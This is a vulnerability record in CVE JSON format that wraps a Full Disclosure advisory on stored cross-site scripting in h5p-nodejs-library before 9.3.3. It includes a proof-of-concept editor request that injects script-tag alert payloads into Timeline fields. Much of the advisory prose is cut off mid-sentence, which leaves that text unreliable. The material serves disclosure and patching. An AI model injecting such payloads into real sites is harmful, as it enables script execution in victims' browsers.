GCVE-1988-2026-0432

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "SCHUTZWERK-SA-2024-006",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "David Brown via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "-----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA512\n\n\nexecuted in victims' browsers when viewing the affected H5P content.\n\nMetadata\n========\n\n- - Affected product: h5p-nodejs-library\n- - Affected version: All versions prior to 9.3.3\n- - Vendor: Lumi Education UG\n- - Problem type(s):\n\n- - CVE ID: CVE-2025-47828\n- - CVE URL: https://www.cve.org/CVERecord?id=CVE-2025-47828\n- - CVSS 3.1 score: 6.4 (Medium)\n- - CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N\n- - Advisory URL: https://www.schutzwerk.com/en/blog/schutzwerk-sa-2024-006/\n\nDetails\n=======\n\n\ntherefore store arbitrary HTML and JavaScript in these fields.\n\n\nJavaScript alert function:\n\nPOST /api/v3/h5p-editor/edit/670e69f55301ad663ba69f9e HTTP/2\nHost: example.com\n[...]\n\n{\n  \"library\": \"H5P.Timeline 1.1\",\n  \"params\": {\n    \"params\": {\n      \"timeline\": {\n        \"defaultZoomLevel\": \"0\",\n        \"height\": 600,\n        \"asset\": {\n          \"media\": \"<script>alert('Alert from media')</script>\",\n          \"credit\": \"<script>alert('Alert from media')</script>\",\n          \"caption\": \"<script>alert('Alert from media')</script>\"\n        },\n        \"date\": [\n          {\n            \"asset\": {},\n            \"text\": \"<p>SW_BodyText2</p>\\n\",\n            \"startDate\": \"1900\",\n            \"endDate\": \"9999\",\n            \"headline\": \"SW_HEADLINE2\",\n            \"tag\": \"SW_tags\"\n          }\n        ],\n        \"language\": \"en\",\n        \"headline\": \"SW_Headline\",\n        \"text\": \"<div>SW_BodyText</div>\"\n      }\n    },\n    \"metadata\": {\n      \"embedTypes\": [\n        \"iframe\"\n      ],\n      \"language\": \"en\",\n      \"mainLibrary\": \"H5P.Timeline\",\n      \"preloadedDependencies\": [\n        {\n          \"machineName\": \"TimelineJS\",\n          \"majorVersion\": 1,\n          \"minorVersion\": 1\n        },\n        {\n          \"machineName\": \"H5P.Timeline\",\n          \"majorVersion\": 1,\n          \"minorVersion\": 1\n        }\n      ],\n      \"defaultLanguage\": \"en\",\n      \"license\": \"U\",\n      \"title\": \"SW_Timeline-Title\",\n      \"authors\": [],\n      \"changes\": [],\n      \"extraTitle\": \"SW_Timeline-Title\"\n    }\n  },\n  \"parentId\": \"670e36de4c1be96f1bc6bf65\",\n  \"parentType\": \"lessons\"\n}\n\n\nserver accepted the request and responded with 201 Created.\n\n\nvia stored XSS is possible.\n\nRisk\n====\n\n\nnew roles to existing ones.\n\nSolution/Mitigation\n===================\n\nUpdate h5p-nodejs-library to version 9.3.3[0] or later.\n\nTimeline\n========\n\n- - 2024-10-14 Vulnerability discovered\n- - 2024-11-07 Initial contact attempt with the developer\n\n- - 2024-11-28 Third contact attempt via a message in the Lumi Slack channel\n\n- - 2025-02-11 Release of h5p-nodejs-library v9.3.3\n\n  the vulnerability\n- - 2025-05-11 CVE-2025-47828 published by MITRE\n\n  delayed for undisclosed reasons.\n- - 2026-09-22 Advisory released\n\nCredits\n=======\n\n\nSCHUTZWERK GmbH.\n\nFootnotes\n=========\n\n[0] https://github.com/Lumieducation/H5P-Nodejs-library/releases/tag/v9.3.3\n-----BEGIN PGP SIGNATURE-----\n\niQJOBAEBCgA4FiEEgLsg7Oj/wY3LSF87GrXfkTIXLrsFAmqzbasaHGFkdmlzb3Jp\nZXNAc2NodXR6d2Vyay5jb20ACgkQGrXfkTIXLrsfVA/9Gl1qipXoGJB/01grCy2a\nr9FpwoVkM7LsRCev1w/6RHiBcHeSzxuIufMVd+HHGHmEr3ZwU3XEbuin3LGvuqdJ\nCEWHVfLxqMVDl2N0WE6mQYCI6tTPHKUSovYo8U9Nq8OA+lzLsOQpFckmPEqpw1gg\n0nifTBsfQ9pe09hC3sOJJFywRrFBopSULyltY1UsORfD8Kf5QSTGS3Px/H2o5xeW\n8FRoAzaggpJlDvKkEGMKPAGArVEyFLB9PckwYGo2OrmfaQXRv/YjkZiOM0JzvkIf\ntpvGMDqx3/3VYi/BIQK5a6iK06NrUn2+jpKFowXubeHh74vMbzm8r7JyoZOApB19\nZ6y4p6tyWQPps4PZVFKursUoTnnOu5ERe+9btglxQ6RZuJsbJwBlXAbhL78ZJ307\nzSqPQNs51Hf3j9Nn8z3dVZxjJO6ifTCL7cRXpkWpLX+T67CYQ83IPWLTJ1tc5az2\nogKQtG8BfYLVTnnavjENXAzmTLEYcx8mmkz5bPiK9gPq59VRWRrbgwvRuRjeJ7QC\nP3eFZSzH0+Fgr+7T9FX461lb+C8kX7nyh+dxiOGM09mZL+CIJKyWtsTrmQyyrRzO\nqhmV7nHV7VMQQKa+udQnRepgCTfWtNwcg/gx/9h11fKVwkE3w+Sdw8anzcHQbFH0\n4R7MzYDSPi2iGERjgs4GSNo=\n=qFXH\n-----END PGP SIGNATURE-----\n\n\n--\nSCHUTZWERK GmbH, Pfarrer-Weiß-Weg 12, 89077 Ulm, Germany\nZertifiziert / Certified ISO 27001, 9001 and TISAX\n\nPhone +49 731 977 191 0\n\nadvisories () schutzwerk com / www.schutzwerk.com\n\nGeschäftsführer / Managing Directors:\nJakob Pietzka, Michael Schäfer\n\nAmtsgericht Ulm /  HRB 727391\nDatenschutz / Data Protection www.schutzwerk.com/datenschutz\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives & RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-10-02T04:57:33Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/69"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Sep/69"
        },
        {
          "url": "https://github.com/Lumieducation/H5P-Nodejs-library/releases/tag/v9.3.3"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-47828"
        },
        {
          "url": "https://www.schutzwerk.com/en/blog/schutzwerk-sa-2024-006/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Sep/69"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "SCHUTZWERK-SA-2024-006: Stored Cross-Site Scripting via text fields in H5P module (h5p-nodejs-library) of Lumi Education",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2025-47828",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0432",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/69",
            "automated": true,
            "contentSha256": "da6ff9230d10ac2467777c37691f8a6f549d43d05da12038d9a3d81435ec59fe",
            "evidenceScore": 10,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/69",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-09-23T06:14:09Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-10-02T04:57:33Z",
    "dateUpdated": "2026-10-02T04:57:33Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0432"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}